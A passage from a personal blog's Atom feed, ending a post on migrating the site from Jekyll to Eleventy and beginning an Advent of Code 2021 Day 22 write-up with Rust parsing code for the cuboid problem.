&lt;li&gt;Liquid and Nunjucks are templating languages, promoting code and layout reuse. They can also be used to generate post lists, feeds, and data files. With Jekyll, you&#39;re stuck with Liquid; but with 11ty, you&#39;re free to choose from a variety. Usually people recommend Nunjucks—with good reason too!&lt;/li&gt;
&lt;li&gt;Although Nunjucks builds &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1-H3wmT7q7m7G7d5M_dCLxQOiAAX3TP0byQdf0pP1fAQ/edit#gid=604275556&quot;&gt;twice as slow compared to Liquid&lt;/a&gt;, this is a fine trade-off considering the sweeter programming experience.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.zachleat.com/web/build-benchmark/&quot;&gt;Build speed&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;It’s pretty fast. Comparable to Hugo (which is the fastest SSG out there).&lt;/li&gt;
&lt;li&gt;Great if you have a thousand posts, though I probably won’t write beyond a couple hundred in my entire lifetime.&lt;/li&gt;
&lt;li&gt;With Jekyll, the site took 10-30s to build. 11ty? 2-8s. Maybe I should refactor some JS to make it go even faster.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Active community support (via Discord).
&lt;ul&gt;
&lt;li&gt;To be fair, I never asked for support in the Jekyll forums since the questions I had were already answered.&lt;/li&gt;
&lt;li&gt;But the people that addressed my 11ty questions were pretty nice.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;the-meh&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/site-migration-to-eleventy/#the-meh&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Meh&lt;/h3&gt;
&lt;p&gt;Not everything is rainbows and sunshine. Time to be salty now. Some things I feel iffy about...&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;404 doesn’t work in localhost. It forces(?) me to use a Content Security Policy, which makes the site more secure in hindsight, but it’s annoying to deal with. One reason I decided to remove Google Analytics&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://trebledj.me/posts/site-migration-to-eleventy/#fn1&quot; id=&quot;fnref1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; was to escape from such trouble. Although... I &lt;em&gt;was&lt;/em&gt; using the beta version... so there were bound to be bugs...&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Still haven’t figured out how to minify CSS and JS. The architecting involved seems a bit weird… I may check it out again some time.&lt;/p&gt;
  &lt;div class=&quot;alert alert-success d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-lightbulb ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;strong&gt;Update!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;After digging through &lt;a href=&quot;https://github.com/11ty/eleventy/issues/344&quot;&gt;GitHub issues&lt;/a&gt;, I finally got JS minifying to work using &lt;a href=&quot;https://www.11ty.dev/docs/copy/&quot;&gt;Passthrough Copy&lt;/a&gt; and an underlying &lt;a href=&quot;https://github.com/timkendrick/recursive-copy#usage&quot;&gt;&lt;code&gt;transform&lt;/code&gt; option&lt;/a&gt;.&lt;/p&gt;
  &lt;/div&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Less mature. Granted, new technology is always less mature. 11ty has fewer examples compared to Jekyll, but &lt;a href=&quot;https://github.com/11ty/eleventy-base-blog&quot;&gt;the&lt;/a&gt; &lt;a href=&quot;https://github.com/google/eleventy-high-performance-blog&quot;&gt;ones&lt;/a&gt; that are available are pretty good.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;other-site-improvements&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/site-migration-to-eleventy/#other-site-improvements&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Other Site Improvements&lt;/h2&gt;
&lt;p&gt;Also, while we’re on the meta topic of this site. You may notice some improvements, such as…&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Better UI components on these posts. The sidebars were made using &lt;code&gt;position: sticky;&lt;/code&gt; in CSS, along with other magic. Social links are also reorganised and collapse nicely under a button for smol screens.&lt;/li&gt;
&lt;li&gt;The site should feel more minimalist, as I’ve ditched a bunch of cards and borders.&lt;/li&gt;
&lt;li&gt;Figured out how to add a Discord link. :D&lt;/li&gt;
&lt;li&gt;Revised the &lt;a href=&quot;https://trebledj.me/&quot;&gt;Home Page&lt;/a&gt;. There’s more stuff there now. Go check it out!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;There are still a few pages and components I want to migrate and add, but I shall leave those for another time.&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot; /&gt;
&lt;b&gt;Footnotes&lt;/b&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;Yes, I was using analytics. But sssshhh… &lt;a href=&quot;https://trebledj.me/posts/site-migration-to-eleventy/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
        
          <category>meta</category>
        
          <category>writeup</category>
        
          <category>programming</category>
        
          <category>web</category>
        
          <category>js</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>AOC 2021 Day&amp;nbsp;22 – Reactor Reboot</title>
        <description>Reboot reactors from a submarine using set theory.</description>
        <link href="https://trebledj.me/posts/aoc-2021-day-22/"/>
        <updated>2022-12-02T00:00:00Z</updated>
        <id>https://trebledj.me/posts/aoc-2021-day-22/</id>
        <content xml:lang="en" type="html">&lt;p&gt;This post is a (very very late) writeup on solving the &lt;a href=&quot;https://trebledj.me/tags/aoc/&quot;&gt;Advent of Code&lt;/a&gt; &lt;a href=&quot;https://adventofcode.com/2021/day/22&quot;&gt;2021 Day 22 challenge&lt;/a&gt;. This was one of the challenges I spent more time on, and ended up developing three algorithms (which is a bit overkill), all using set theory. I also ended up writing all three in both Haskell and Rust, and benchmarking to compare the runtimes. Needless to say, Rust ran about 25%-50% faster, but performance tuning is not the main point of this article.&lt;/p&gt;
&lt;p&gt;I&#39;ll &lt;em&gt;mainly&lt;/em&gt; show code snippets and implementations in Rust, well, because I think it&#39;s more readable. But the general ideas are similar in Haskell.&lt;/p&gt;
&lt;h2 id=&quot;the-problem&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#the-problem&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Problem&lt;/h2&gt;
&lt;p&gt;It’s a fun, little problem. We&#39;re given a list of input. Each line specifies an action (&lt;code&gt;on&lt;/code&gt; or &lt;code&gt;off&lt;/code&gt;) and a cuboid (rectangular prism) of points &lt;code&gt;x=10..12,y=10..12,z=10..12&lt;/code&gt;. Each line will switch all points within the cuboid on or off.&lt;/p&gt;
&lt;p&gt;Sample input:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-text&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;on x=10..12,y=10..12,z=10..12
on x=11..13,y=11..13,z=11..13
off x=9..11,y=9..11,z=9..11
on x=10..10,y=10..10,z=10..10&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;The objective is to determine the number of points that are still &lt;code&gt;on&lt;/code&gt; after applying every line.&lt;/p&gt;
&lt;h2 id=&quot;solving&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#solving&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Solving&lt;/h2&gt;
&lt;p&gt;There are three main components to most of my AOC solves. For this challenge, we&#39;ll be implementing these functions.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;contents&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;part1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmds&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;u32&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;, and&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;part2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cmds&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;u32&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;For Day 22, the only difference between part 1 and part 2 is the bound size, so a solution for part 2 would also be able to solve part 1 (but of course I didn&#39;t know this until later).&lt;/p&gt;
&lt;h3 id=&quot;parsing&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#parsing&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Parsing&lt;/h3&gt;
&lt;p&gt;Parsing is actually pretty straightforward, so let&#39;s get it out of the way first. Essentially, we translate each line of text to a 2-tuple: &lt;code&gt;(bool, Cuboid)&lt;/code&gt;.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-rust&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-rust&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// Some useful type aliases.&lt;/span&gt;
&lt;span class=&quot;token attribute attr-name&quot;&gt;#[allow(non_camel_case_types)]&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token type-definition class-name&quot;&gt;cube_t&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;i64&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Each pair corresponds to min/max values in a dimension.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token type-definition class-name&quot;&gt;Cuboid&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cube_t&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cube_t&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;token type-definition class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Cuboid&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;// Parse takes a String and returns a Vec of Commands.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;token function-definition function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;contents&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; re &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Regex&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;r&quot;(on|off) x=(-?&#92;d+)..(-?&#92;d+),y=(-?&#92;d+)..(-?&#92;d+),z=(-?&#92;d+)..(-?&#92;d+)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    contents
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;lines&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Split text at lines.&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token closure-params&quot;&gt;&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;s&lt;span class=&quot;token closure-punctuation punctuation&quot;&gt;|&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; cap &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; re&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;captures_iter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;s&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Match with regex, and get capture groups.&lt;/span&gt;
                &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;Command&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
                    &lt;span class=&quot;token comment&quot;&gt;// Capture group 0 is the entire matched string. So we start with 1, to obtain the first capture group.&lt;/span&gt;
                    cap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;eq&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;on&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;// str&#39;s parse is builtin and returns an Option&amp;lt;_&amp;gt;.&lt;/span&gt;
                        &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cube_t&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cube_t&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                        &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cube_t&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cube_t&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                        &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cube_t&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; cap&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;cube_t&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;unwrap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
                &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;token macro property&quot;&gt;unreachable!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;aaaaaah&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Safety measure. We assume all lines follow the above pattern.&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;collect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Rust&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;br /&gt;
&lt;h3 id=&quot;a-naive-approach&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-22/#a-naive-approach&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; A Naive Approach&lt;/h3&gt;
&lt;p&gt;Our first attempt may be to use a naive brute force approach. We keep track of every single point and whether it is toggled or not. Of course this will not scale well especially if the cubes become larger; but for part 1 of the challenge, it is sufficient. Part 1 simply confines the scope of our problem to &lt;code&gt;((-50, 50), (-50, 50), (-50, 50))&lt;/code&gt;. Any points activated or deactivated outside can be disregarded.&lt;/p&gt;
&lt;p&gt;We can use a HashSet to store the 3D points. &lt;code&gt;on&lt;/code&gt; would correspond with &lt;code&gt;set.insert&lt;/code&gt; and  &lt;code&gt;off&lt;/code&gt; would correspond to &lt;code&gt;set.remove&lt;/code&gt;. Thus after processing, we just need to &lt;em&gt;count&lt;/em&gt; the number of elements (&lt;code&gt;set.len()&lt;/code&gt;) to get the number of points that are left &lt;strong&gt;on&lt;/strong&gt;.&lt;/p&gt;
